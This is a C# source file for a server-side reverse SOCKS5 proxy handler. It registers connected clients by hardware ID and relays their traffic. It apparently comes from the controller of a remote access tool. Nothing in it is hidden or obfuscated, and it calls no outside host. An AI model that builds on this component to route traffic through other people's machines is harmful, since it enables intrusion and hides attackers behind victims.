Files
2026-08-27 11:21:58 -06:00

85 lines
1.7 KiB
C#

using System.Windows.Forms;
using Server.Connectings;
using Server.Helper.Sock5;
namespace Server.Messages;
internal class HandlerReverseProxyR
{
public static void Read(Clients client, object[] objects)
{
switch ((string)objects[1])
{
case "Connect":
if (!Program.form.ReverseProxyR.work)
{
client.Disconnect();
break;
}
Program.form.ReverseProxyR.Invoke((MethodInvoker)delegate
{
Program.form.ReverseProxyR.Server.ClientReverse.Add(client);
});
client.eventDisconnect += delegate
{
Program.form.ReverseProxyR.Invoke((MethodInvoker)delegate
{
try
{
Program.form.ReverseProxyR.Server.ClientReverse.Remove(client);
}
catch
{
}
});
};
client.Hwid = (string)objects[2];
break;
case "Accept":
{
if (!Program.form.ReverseProxyR.work)
{
client.Disconnect();
break;
}
Client client3 = Program.form.ReverseProxyR.Server.Search((int)objects[2]);
client3.Accept(client);
client.Tag = client3;
break;
}
case "ConnectResponse":
{
if (!Program.form.ReverseProxyR.work)
{
client.Disconnect();
break;
}
Client client2 = (Client)client.Tag;
client2?.HandleCommandResponse(objects);
client.Tag = client2;
break;
}
case "Data":
if (!Program.form.ReverseProxyR.work)
{
client.Disconnect();
}
else
{
((Client)client.Tag)?.Send((byte[])objects[2]);
}
break;
case "Disconnect":
if (!Program.form.ReverseProxyR.work)
{
client.Disconnect();
}
else
{
((Client)client.Tag)?.Disconnect();
}
break;
}
}
}